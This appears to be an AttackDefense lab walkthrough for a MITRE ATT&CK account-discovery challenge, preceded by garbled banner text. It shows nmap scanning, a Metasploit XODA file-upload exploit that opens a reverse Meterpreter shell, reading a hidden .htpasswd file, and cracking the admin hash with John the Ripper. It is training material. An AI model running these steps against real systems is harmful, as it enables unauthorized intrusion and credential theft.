ATTACKDEFENSE LABS COURSES

PENTESTER ACADEMYTOOL BOX PENTESTING

JUNT WORLD-CLASS TRAINERS TRAINING HACKER

PATY RED TEAM LABS ATTACKDEFENSE LABS

TRAINING COURSES ACCESS POINT PENTESTER

TEAM LABS PENTESTY TO THE OLD OF DOLD-CLASS TRAINERS I WORLD-CLASS TRAINING COURSES PAY THE OLD OF DOLD-CLASS TRAINING THAN THE STAINING TO TEAM LAB

ATTACKDEFENSE LABS TRAINING COURSES PENTESTER ACADEM

COURSES TO LABS TRAINING COURSES PENTESTER ACADEM

COURSES TO LABS TRAINING COURSES PENTESTER ACADEM

COURSES TO LABS TRAINING THAN THE STI'

S POINT WORLD-CLASS TRAINERS TRAINING HACKER

TOOL BOX

TOOL BOX

TOOL BOX TOOL BOX WORLD-CI'

WORLD-CLASS TRAINERS TRAINING HACKER

TOOL BOX TOOL BOX WORLD-CI'

WORLD-CLASS TRAINERS RED TEAM

TRAINING CO'

PENTESTER ACADEMY TOOL BOX

TRAINING

Name	T1087: Account Discovery II
URL	https://attackdefense.com/challengedetails?cid=1767
Type	MITRE ATT&CK Linux : Discovery

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Find the password stored in htpasswd file for user admin.

Solution:

Step 1: Check the IP address of the attacker machine.

Commands: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
13869: eth0@if13870: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:04 brd ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.4/24 brd 10.1.1.255 scope global eth0
        valid_lft forever preferred_lft forever
13873: eth1@if13874: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
        link/ether 02:42:c0:4b:0f:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
        inet 192.75.15.2/24 brd 192.75.15.255 scope global eth1
            valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Run Nmap scan on the target machine.

Command: nmap 192.75.15.3

```
root@attackdefense:~# nmap 192.75.15.3
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-25 01:20 UTC
Nmap scan report for target-1 (192.75.15.3)
Host is up (0.000015s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 02:42:C0:4B:0F:03 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
root@attackdefense:~#
```

Step 3: Check the HTTP content hosted on port 80 of target machine.

Command: curl 192.75.15.3

As mentioned in the challenge, a XODA webapp instance is running on the system which can be exploited using "exploit/unix/webapp/xoda file upload" metasploit module

Step 4: Start msfconsole.

Command: msfconsole



Step 5: Select the mentioned module and set the parameter values.

Commands:

use exploit/unix/webapp/xoda_file_upload set RHOSTS 192.75.15.3 set TARGETURI / exploit

```
msf5 > use exploit/unix/webapp/xoda_file_upload
msf5 exploit(unix/webapp/xoda_file_upload) > set RHOSTS 192.75.15.3
RHOSTS => 192.75.15.3
msf5 exploit(unix/webapp/xoda_file_upload) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/xoda_file_upload) > exploit

[*] Started reverse TCP handler on 192.75.15.2:4444
[*] Sending PHP payload (yQLYVNvrLoo.php)
[*] Executing PHP payload (yQLYVNvrLoo.php)
[*] Sending stage (38247 bytes) to 192.75.15.3
[*] Meterpreter session 1 opened (192.75.15.2:4444 -> 192.75.15.3:55888) at 2020-03-25 01:24:07 +0000
[!] Deleting yQLYVNvrLoo.php
meterpreter >
```

A meterpreter session is spawned on the target machine.

Step 6: Start a command shell and check the present working directory.

Commands:

shell pwd whoami

```
meterpreter > shell
Process 794 created.
Channel 0 created.
pwd
/app/files
whoami
www-data
```

Step 7: Present working directory is empty. Change to /app directory and list the contents.

Commands:

cd ..

ls -l

```
cd ..
ls -1
total 200
                               10273 Feb 24 10:54 LICENSE
-rwxrwxrwx 1 root
                      root
-rwxrwxrwx 1 root
                      root
                                8703 Mar 25 01:05 README
                                   79 Feb 24 10:54 README.md
-rwxrwxrwx 1 root
                      root
                                1284 Mar 25 01:05 config.php
-rwxrwxrwx 1 root
                      root
drwxr-xr-x 2 www-data www-data 4096 Mar 25 01:24 files
                               40563 Mar 25 01:05 functions.php
-rwxrwxrwx 1 root
                      root
                               57739 Mar 25 01:05 index.php
-rwxrwxrwx 1 root
                      root
drwxrwxrwx 2 root
                      root
                                4096 Mar 25 01:05 js
-rwxrwxrwx 1 root
                               14598 Feb 24 10:54 logo.png
                      root
                                5265 Mar 25 01:05 mobile.css
-rwxrwxrwx 1 root
                      root
                                  19 Feb 24 10:54 phpinfo.php
-rwxrwxrwx 1 root
                      root
                                5758 Mar 25 01:05 style.css
-rwxrwxrwx 1 root
                      root
                                4096 Mar 25 01:05 xd icons
drwxrwxrwx 2 root
                      root
                               18850 Mar 25 01:05 zipstream.php
-rwxrwxrwx 1 root
                      root
```

Step 8: htpasswd file is hidden in most cases. List all files/directories inclusing hidden ones.

Command: Is -al

```
ls -al
total 220
drwxrwxrwx 1 root
                      root
                                4096 Mar 25 01:21 .
drwxr-xr-x 1 root
                                4096 Mar 25 01:16 ..
                      root
                                4096 Feb 24 10:54 .git
drwxrwxrwx 1 root
                      root
-rw-r--r-- 1 root
                                  44 Mar 25 01:09 .htpasswd
                      root
drwxr-xr-x 2 www-data www-data 4096 Mar 25 01:21 .xoda
-rwxrwxrwx 1 root
                               10273 Feb 24 10:54 LICENSE
                      root
```

Step 9: Check the content of the .htpasswd file.

Command: cat .htpasswd

```
cat .htpasswd
admin:$apr1$cVmvMNdi$TSN9vCugRwO00n7xB5E6H0
```

Step 10: Copy the content of .htpasswd file and create a new file with this content on Kali attacker machine.

Command: vim htpasswd

```
root@attackdefense:~# vim htpasswd
root@attackdefense:~#
root@attackdefense:~# cat htpasswd
admin:$apr1$cVmvMNdi$TSN9vCugRwO00n7xB5E6H0
root@attackdefense:~#
```

Step 13: Run john the ripper on the saved file and use the dictionary file mentioned in the challenge.

Command: john --wordlist=/root/wordlists/100-common-passwords.txt htpasswd

```
root@attackdefense:~# john --wordlist=/root/wordlists/100-common-passwords.txt htpasswd
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 100 candidates left, minimum 384 needed for performance.
raspberry (admin)
1g 0:00:00:00 DONE (2020-03-25 01:27) 5.000g/s 500.0p/s 500.0c/s 500.0C/s 242424..vagrant
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@attackdefense:~#
```

Flag: raspberry

TOTAL OF THE TOTAL

References:

1. Account Discovery (https://attack.mitre.org/techniques/T1087)